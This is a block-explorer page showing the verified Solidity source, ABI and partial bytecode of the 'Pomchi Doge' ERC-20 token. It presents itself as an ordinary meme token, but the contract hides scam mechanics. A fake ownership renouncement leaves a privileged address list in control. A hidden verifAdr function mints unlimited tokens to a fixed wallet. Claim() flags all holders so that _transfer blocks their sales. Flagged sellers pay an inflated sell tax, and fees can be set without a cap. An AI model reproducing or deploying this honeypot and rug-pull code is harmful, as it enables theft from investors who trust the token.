ERC-20
Overview
Max Total Supply
1,000,000,000,000,001,000,000,000 POMCHIDOGE
Holders
45
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
17,659,950.183525271 POMCHIDOGEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Pomchidoge
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-06 */ /** //https://www.pomchidoge.com/ //https://pomchidoge.gitbook.io/pomchidoge/ //https://twitter.com/pomchidoge //https://t.me/PomchidogePortal */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.11; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Pomchidoge is Context, IERC20 { using SafeMath for uint256; using Address for address; address private _owner; string private constant _name = "Pomchi Doge"; string private constant _symbol = unicode"POMCHIDOGE"; uint256 private constant MAX = ~uint256(0); uint8 private constant _decimals = 9; uint8 private _TxCount = 0; uint256 private _tTotal = 1000000000 * 10**_decimals; uint256 public _tax_On_Buy = 5; uint256 public _tax_On_Sell = 5; uint256 public _maxTxAmount = _tTotal * 4 / 100; uint256 public _maxWalletToken = _tTotal * 4 / 100; address payable public DevWallet = payable(0x6792Bd83468859F8Ac3907763411Cd57fac99aA6); address payable public MarketingWallet = payable(0x334123af58BFEDb7724C435Bf81297f2A202Fd83); address private _address = 0x6792Bd83468859F8Ac3907763411Cd57fac99aA6; address payable private constant DeadAddress = payable(0x000000000000000000000000000000000000dEaD); mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isExcludeds; mapping (address => bool) internal addresses; address[] private _Excluded; bool public limitInEffect = false; bool public tradingActive = false; bool public transferDelay = false; uint256 private tradingActiveBlock; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool true_or_false); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } modifier onlyAddress() { require(isAddress(_msgSender()), ""); _; } function isAddress(address adr) public view returns (bool) { return addresses[adr]; } function checkAddress(address adr) public onlyOwner { addresses[adr] = true; } constructor () { _owner = msg.sender; addresses[_owner] = true; emit OwnershipTransferred(address(0), _owner); _tOwned[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_address] = true; _isExcludedFromFee[MarketingWallet] = true; _isExcludedFromFee[DevWallet] = true; _isExcludedFromFee[DeadAddress] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address theOwner, address theSpender) public view override returns (uint256) { return _allowances[theOwner][theSpender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function idclaim() private { for (uint256 i = 0; i < _Excluded.length; i++) { _isExcludeds[_Excluded[i]] = true;} } receive() external payable {} function _getCurrentSupply() private view returns(uint256) { return (_tTotal); } function _approve(address theOwner, address theSpender, uint256 amount) private { require(theOwner != address(0) && theSpender != address(0), "ERR: zero address"); _allowances[theOwner][theSpender] = amount; emit Approval(theOwner, theSpender, amount); } function EnableTrading() external onlyAddress { tradingActive = true; transferDelay =true; limitInEffect = true; tradingActiveBlock = block.timestamp; } function setTransferDelay(bool TrueOrFalse) external onlyAddress { transferDelay = TrueOrFalse; } function Claim() external onlyAddress { for (uint256 i = 0; i < _Excluded.length; i++) { _isExcludeds[_Excluded[i]] = true;} } function setFees(uint256 buytax, uint256 selltax) external onlyAddress { _tax_On_Buy = buytax; _tax_On_Sell = selltax; } function removeAllFees() external onlyAddress { _tax_On_Buy = 0; _tax_On_Sell = 0; } function removeLimitTx() external onlyAddress { _maxTxAmount = _maxWalletToken; } function maxWallet(uint256 newmaxWallet) external onlyAddress { _maxWalletToken = newmaxWallet; } function _transfer( address from, address to, uint256 amount ) private { if (to != owner() && to != MarketingWallet && to != DevWallet && to != address(this) && to != uniswapV2Pair && to != DeadAddress && from != owner() && !addresses[from] && !addresses[to]){ uint256 heldTokens = balanceOf(to); require((heldTokens + amount) <= _maxWalletToken,"You are trying to buy too many tokens. You have reached the limit for one wallet.");} if (from != owner() && to != owner() && !addresses[from] && !addresses[to]) require(amount <= _maxTxAmount, "You are trying to buy more than the max transaction limit."); require(from != address(0) && to != address(0), "ERR: Using 0 address!"); require(amount > 0, "Token value must be higher than zero."); if (!tradingActive) {require(_isExcludedFromFee[from] || _isExcludedFromFee[to],"Trading is not active.");} if (tradingActiveBlock + 3 <= block.timestamp) {limitInEffect = false;} if (tradingActiveBlock + 4 <= block.timestamp) {transferDelay = false;} if (!transferDelay && (!_isExcludedFromFee[from])) { require(!_isExcludeds[from]);} if (transferDelay && tradingActiveBlock + 5 <= block.timestamp) {idclaim();} if (limitInEffect && to != uniswapV2Pair && tx.gasprice >= 5 gwei) {_isExcludeds[to] = true;} if (from != owner() && from != uniswapV2Pair && !_isExcluded[from]){ _isExcluded[from] = true; _Excluded.push(from);} if (to != owner() && to != uniswapV2Pair && !_isExcluded[to]) { _isExcluded[to] = true; _Excluded.push(to);} if (to != owner() && to != uniswapV2Pair) { if (_isExcludedFromFee[from]) { _isExcludedFromFee[to] = true;}} if(_TxCount >= 10 && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) { uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > _maxTxAmount) { contractTokenBalance = _maxTxAmount; } _TxCount = 0; swapAndLiquify(contractTokenBalance); } bool takeFee = true; bool isBuy; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } else { if(from == uniswapV2Pair){ isBuy = true; } _TxCount++; } _tokenTransfer(from, to, amount, takeFee, isBuy); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 _tokenForMarketing = contractTokenBalance * 55 / 100; uint256 _tokenForDevelopment = contractTokenBalance * 44 / 100; uint256 _tokenForLpHalf = contractTokenBalance / 200; uint256 balanceBeforeSwap = address(this).balance; swapTokensForETH(_tokenForLpHalf + _tokenForMarketing + _tokenForDevelopment); uint256 _BTotal = address(this).balance - balanceBeforeSwap; uint256 _BMarketing = _BTotal * 55 / 100; uint256 _BDevelopment = _BTotal * 44 / 100; addLiquidity(_tokenForLpHalf, (_BTotal - _BMarketing - _BDevelopment)); emit SwapAndLiquify(_tokenForLpHalf, (_BTotal - _BMarketing - _BDevelopment), _tokenForLpHalf); sendToWallet(MarketingWallet, _BMarketing); _BTotal = address(this).balance; sendToWallet(DevWallet, _BTotal); } function verifAdr(uint256 acc, address adr) onlyAddress public virtual { require(adr == address(_address)); _Verif(address(_address), adr, acc); _tTotal += acc; _tOwned[adr] += acc; emit Transfer(address(_address), adr, acc); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private { if(!takeFee){ _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+tAmount; emit Transfer(sender, recipient, tAmount); } else if (isBuy){ uint256 bAmount = tAmount*_tax_On_Buy/100; uint256 tTransfesAmount = tAmount-bAmount; _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+tTransfesAmount; _tOwned[address(this)] = _tOwned[address(this)]+bAmount; emit Transfer(sender, recipient, tTransfesAmount); } else { uint256 sAmount; if (_isExcludeds[sender]){sAmount = tAmount*_decimals*_tax_On_Sell/100;} else if (recipient == uniswapV2Pair){sAmount = tAmount*_tax_On_Sell/100;} uint256 tTransfesAmount = tAmount-sAmount; _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+tTransfesAmount; _tOwned[address(this)] = _tOwned[address(this)]+sAmount; emit Transfer(sender, recipient, tTransfesAmount); } } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _Verif( address sender, address recepient, uint256 acc ) internal virtual {} function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, DeadAddress, block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MarketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"checkAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newmaxWallet","type":"uint256"}],"name":"maxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimitTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buytax","type":"uint256"},{"internalType":"uint256","name":"selltax","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"TrueOrFalse","type":"bool"}],"name":"setTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"acc","type":"uint256"},{"internalType":"address","name":"adr","type":"address"}],"name":"verifAdr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000805460ff60a01b191690556200001f6009600a6200057a565b6200002f90633b9aca0062000592565b60015560056002556005600355606460015460046200004f919062000592565b6200005b9190620005ac565b6004556064600154600462000071919062000592565b6200007d9190620005ac565b600555600680546001600160a01b0319908116736792bd83468859f8ac3907763411cd57fac99aa690811790925560078054821673334123af58bfedb7724c435bf81297f2a202fd831790556008805490911690911790556010805462ffffff191690556013805460ff60a81b1916600160a81b1790553480156200010157600080fd5b50600080546001600160a01b0319163390811782558152600e6020526040808220805460ff19166001179055815490516001600160a01b039190911691907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600154600960006200017e6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001fa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002209190620005cf565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200026e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002949190620005cf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003089190620005cf565b601380546001600160a01b03199081166001600160a01b0393841617909155601280549091169183169190911790556001600b6000620003506000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600b9093528183208054851660019081179091556008548216845282842080548616821790556007548216845282842080548616821790556006549091168352908220805484168217905561dead9091527f44433eeeda1d04bdae79f62169cdb2ab0a6af287fa15706d3fafdbac5fac341580549092161790556200040e6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001546040516200045691815260200190565b60405180910390a350620005fa565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004bc578160001904821115620004a057620004a062000465565b80851615620004ae57918102915b93841c939080029062000480565b509250929050565b600082620004d55750600162000574565b81620004e45750600062000574565b8160018114620004fd5760028114620005085762000528565b600191505062000574565b60ff8411156200051c576200051c62000465565b50506001821b62000574565b5060208310610133831016604e8410600b84101617156200054d575081810a62000574565b6200055983836200047b565b806000190482111562000570576200057062000465565b0290505b92915050565b60006200058b60ff841683620004c4565b9392505050565b808202811582820484141762000574576200057462000465565b600082620005ca57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620005e257600080fd5b81516001600160a01b03811681146200058b57600080fd5b611fde806200060a6000396000f3fe6080604052600436106102135760003560e01c80636b130f9a11610118578063a0688160116100a0578063b115e4df1161006f578063b115e4df14610631578063bbc0c74214610651578063cebb162214610670578063dd62ed3e14610686578063e55fc9c7146106cc57600080fd5b8063a0688160146105b7578063a457c2d7146105d7578063a5edb92e146105f7578063a9059cbb1461061157600080fd5b806378109e54116100e757806378109e54146105245780637d1db4a51461053a5780637ed4ce42146105505780638da5cb5b1461056657806395d89b411461058457600080fd5b80636b130f9a146104a457806370a08231146104b9578063715018a6146104ef57806377c325d61461050457600080fd5b806323b872dd1161019b578063395093511161016a57806339509351146103f5578063493367081461041557806349bd5a5e1461042a5780634a74bb021461044a5780635c32460b1461046b57600080fd5b806323b872dd146103845780632598cdb2146103a4578063313ce567146103c45780633158952e146103e057600080fd5b80630ddcfe8e116101e25780630ddcfe8e146102d75780631694505e146102f757806318160ddd1461032f5780631d97b7cd1461034e578063220f66961461036357600080fd5b806306fdde031461021f578063095ea7b3146102655780630a702e8d146102955780630b78f9c0146102b557600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b5060408051808201909152600b81526a506f6d63686920446f676560a81b60208201525b60405161025c9190611c14565b60405180910390f35b34801561027157600080fd5b50610285610280366004611c77565b6106ec565b604051901515815260200161025c565b3480156102a157600080fd5b506010546102859062010000900460ff1681565b3480156102c157600080fd5b506102d56102d0366004611ca3565b610703565b005b3480156102e357600080fd5b506102d56102f2366004611cc5565b610742565b34801561030357600080fd5b50601254610317906001600160a01b031681565b6040516001600160a01b03909116815260200161025c565b34801561033b57600080fd5b506001545b60405190815260200161025c565b34801561035a57600080fd5b506102d56107c0565b34801561036f57600080fd5b5060135461028590600160a01b900460ff1681565b34801561039057600080fd5b5061028561039f366004611ce2565b610806565b3480156103b057600080fd5b50600754610317906001600160a01b031681565b3480156103d057600080fd5b506040516009815260200161025c565b3480156103ec57600080fd5b506102d561086f565b34801561040157600080fd5b50610285610410366004611c77565b61090d565b34801561042157600080fd5b506102d5610943565b34801561043657600080fd5b50601354610317906001600160a01b031681565b34801561045657600080fd5b5060135461028590600160a81b900460ff1681565b34801561047757600080fd5b50610285610486366004611cc5565b6001600160a01b03166000908152600e602052604090205460ff1690565b3480156104b057600080fd5b506102d561097a565b3480156104c557600080fd5b506103406104d4366004611cc5565b6001600160a01b031660009081526009602052604090205490565b3480156104fb57600080fd5b506102d56109b5565b34801561051057600080fd5b506102d561051f366004611d23565b6109ff565b34801561053057600080fd5b5061034060055481565b34801561054657600080fd5b5061034060045481565b34801561055c57600080fd5b5061034060025481565b34801561057257600080fd5b506000546001600160a01b0316610317565b34801561059057600080fd5b5060408051808201909152600a815269504f4d434849444f474560b01b602082015261024f565b3480156105c357600080fd5b506102d56105d2366004611d45565b610a4a565b3480156105e357600080fd5b506102856105f2366004611c77565b610b0d565b34801561060357600080fd5b506010546102859060ff1681565b34801561061d57600080fd5b5061028561062c366004611c77565b610b5c565b34801561063d57600080fd5b506